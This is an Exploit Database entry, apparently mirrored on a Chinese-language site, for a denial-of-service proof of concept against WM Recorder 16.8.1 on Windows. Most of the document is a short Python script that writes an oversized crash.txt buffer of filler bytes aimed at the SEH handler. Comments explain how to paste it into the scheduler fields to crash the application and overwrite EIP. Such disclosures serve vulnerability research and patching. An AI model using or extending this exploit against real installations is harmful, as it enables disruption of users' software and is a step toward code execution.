WM Recorder 16.8.1 – Denial of Service

• Exploit Database
• 16 阅读

• 作者： bzyo
  日期： 2018-03-23
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44333/

• #!/usr/bin/python
  
  #
  # Exploit Author: bzyo
  # Twitter: @bzyo_
  # Exploit Title: WM Recorder 16.8.1 - Denial of Service
  # Date: 03-20-2018
  # Vulnerable Software: WM Recorder 16.8.1
  # Vendor Homepage: http://wmrecorder.com/home/
  # Version: 16.8.1
  # Software Link: http://wmrecorder.com/download/wm-recorder/
  # Tested On: Windows 7 x86/x64, Windows 10 x64
  #
  #
  # PoC: generate crash.txt, open app, go to Schedule Recordings, Open Scheduler, paste crash.txt contents in Stream URL, File name and Website URL,
  # change End Recording date to future date, turn scheduler on, select OK
  #
  # app crashes & EIP overwrite;
  # !mona seh > no ppr pointers & !mona seh -all > all aslr/safeseh
  # lots of bad chars including \x90
  #
  
  filename="crash.txt"
  
  junk = "\x41"*429
  
  nseh = "\x42"*4
  
  seh = "\x43"*4
  
  fill = "\x44"*9562
  
  buffer = junk + nseh + seh + fill
  
  textfile = open(filename , 'w')
  textfile.write(buffer)
  textfile.close()